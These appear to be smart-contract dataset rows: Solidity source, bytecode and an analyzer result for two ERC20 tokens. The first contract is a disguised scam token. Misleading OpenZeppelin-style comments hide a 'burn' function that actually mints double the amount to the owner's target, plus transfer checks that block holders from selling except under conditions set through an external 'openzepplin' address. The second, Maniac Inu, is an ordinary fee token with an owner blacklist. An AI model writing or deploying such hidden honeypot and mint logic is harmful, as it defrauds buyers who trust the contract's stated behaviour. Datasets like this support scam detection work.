* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burnFrom(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burnFrom (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burnFrom(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | 0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c457806370a08231146101e457806379cc67901461021a57005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610b33565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610ba0565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610bcc565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610ba0565b610581565b3480156101f057600080fd5b5061016a6101ff366004610c0d565b6001600160a01b031660009081526009602052604090205490565b34801561022657600080fd5b506100dc610235366004610ba0565b6105c5565b34801561024657600080fd5b506100f361069b565b34801561025b57600080fd5b5061014561026a366004610ba0565b6106a8565b34801561027b57600080fd5b5061014561028a366004610ba0565b6106de565b34801561029b57600080fd5b5061016a6102aa366004610c2a565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610c63565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610c63565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107c9565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610874565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610894565b6001600160a01b0384166000908152600960205260409020546104a69083610874565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610874565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610972565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610972565b61098d565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106415760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61064b8282610ab1565b6001600160a01b03821660009081526009602052604090205461066e9082610874565b6001600160a01b0383166000908152600960205260409020556005546106949082610874565b6005555050565b600180546102e290610c63565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610874565b6004546000906001600160a01b038481166101009092041614156107325760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610638565b3360009081526009602052604090205461074c9083610874565b33600090815260096020526040808220929092556001600160a01b038516815220546107789083610972565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081757600080fd5b505afa15801561082b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084f9190610c9e565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088357600080fd5b61088d8284610cd1565b9392505050565b6004546001600160a01b03828116610100909204161415806108e057506007546001600160a01b0383811691161480156108e057506004546001600160a01b0382811661010090920416145b8061092257506004546001600160a01b038281166101009092041614801561092257506006546001600160a01b03831660009081526009602052604090205411155b61096e5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610638565b5050565b600061097e8284610ce8565b9050828110156103e457600080fd5b6001600160a01b0383166109ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610638565b6001600160a01b038216610a505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610638565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae3610ada826002610d00565b60055490610972565b600555610b13610af4826002610d00565b6001600160a01b03841660009081526009602052604090205490610972565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b81811015610b6057858101830151858201604001528201610b44565b81811115610b72576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b9d57600080fd5b50565b60008060408385031215610bb357600080fd5b8235610bbe81610b88565b946020939093013593505050565b600080600060608486031215610be157600080fd5b8335610bec81610b88565b92506020840135610bfc81610b88565b929592945050506040919091013590565b600060208284031215610c1f57600080fd5b813561088d81610b88565b60008060408385031215610c3d57600080fd5b8235610c4881610b88565b91506020830135610c5881610b88565b809150509250929050565b600181811c90821680610c7757607f821691505b60208210811415610c9857634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cb057600080fd5b815161088d81610b88565b634e487b7160e01b600052601160045260246000fd5b600082821015610ce357610ce3610cbb565b500390565b60008219821115610cfb57610cfb610cbb565b500190565b6000816000190483118215151615610d1a57610d1a610cbb565b50029056fea2646970667358221220ea6b462c1fb064e5d2c1d57678b9c8ab3de749f42aa0f3e0e4c69e7cb4b8de6164736f6c63430008080033 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,367 |
0xe52024b089192cf3b3aeb3e9834084cff98e2a98 | /*
Welcome to the crazy world of Maniac Inu!
https://maniacinu.com
https://twitter.com/ManiacInuETH
https://t.me/maniacinu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Maniac is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Maniac Inu";
string private constant _symbol = 'MINU️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f4d616e69616320496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c